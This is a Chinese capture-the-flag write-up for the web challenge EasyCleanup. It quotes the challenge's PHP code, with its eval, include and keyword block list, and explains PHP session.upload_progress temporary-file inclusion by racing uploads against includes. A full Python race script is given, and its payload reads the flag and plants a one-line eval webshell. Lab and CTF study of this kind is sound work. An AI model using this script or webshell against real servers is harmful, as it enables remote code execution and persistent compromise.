临时文件包含
今天在做第五空间2021的web题,碰到一个没学过的东西,记录一下。
题目:[第五空间 2021]EasyCleanup
拿到题之后,首先给了串代码:
<?php
if(!isset($_GET['mode'])){
highlight_file(__file__);
}else if($_GET['mode'] == "eval"){
$shell = isset($_GET['shell']) ? $_GET['shell'] : 'phpinfo();';
if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker");
eval($shell);
}
if(isset($_GET['file'])){
if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker");
include $_GET['file'];
}
function filter($var){
$banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"];
foreach($banned as $ban){
if(strstr($var, $ban)) return True;
}
return False;
}
function checkNums($var){
$alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$cnt = 0;
for($i = 0; $i < strlen($alphanum); $i++){
for($j = 0; $j < strlen($var); $j++){
if($var[$j] == $alphanum[$i]){
$cnt += 1;
if($cnt > 8) return True;
}
}
}
return False;
}
?>
首先是让传个mode和shell,如果mode是eval就可以执行命令,但是这个命令是有长度限制的,如果超过了15个字符就会报hacker,好巧不巧,system('ls /');
正好是15个字符,执行命令查看根目录下有什么文件:
可以看到里面有一个是flag文件:nssctfasdasdflag
(题目是在NSSCTF平台上打的所以是这个文件名)。
直接在mode里打是肯定不行的,毕竟一个文件名都不止15个字符了,那么这题应该怎么做呢?
看到这么一段代码:
if(isset($_GET['file'])){
if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker");
include $_GET['file'];
}
这是一个文件包含,我们可以利用临时文件包含的方法来打。
漏洞原理:
利用session.upload_progress上传一个临时文件,该文件中写入恶意代码,比如一句话木马1,然后包含它,从而执行里面的代码。因为该文件内容清空很快,所以需要不停的上传和包含,在清空之前包含该文件。就是条件竞争的意思。
本地复现:
(本地的Linux没有LAMP,远端的服务器打了然后寄了没打通,所以没有本地复现的内容qwq)
Payload:
这里我们利用Python的脚本来进行文件的上传和包含:
import io
import sys
import requests
import threading
sessid = 'Qftm'
def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
'http://1.14.71.254:28140/',
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat /nssctfasdasdflag*');fputs(fopen('shell.php','w'),'<?php @eval($_POST[mtfQ])?>');?>"},
files={"file":('q.txt', f)},
cookies={'PHPSESSID':sessid}
)
def READ(session):
while True:
response = session.get(f'http://1.14.71.254:28140/?mode=eval&shell=system(\'ls /\');&file=/tmp/sess_{sessid}')
if 'NSSCTF' not in response.text:
print('[+++]retry')
else:
print(response.text)
sys.exit(0)
with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()
READ(session)
直接跑脚本,就可以拿到flag(以后要是遇到类似题目改下url就可以了):
师傅知道如何上传临时文件解决这题吗
啥意思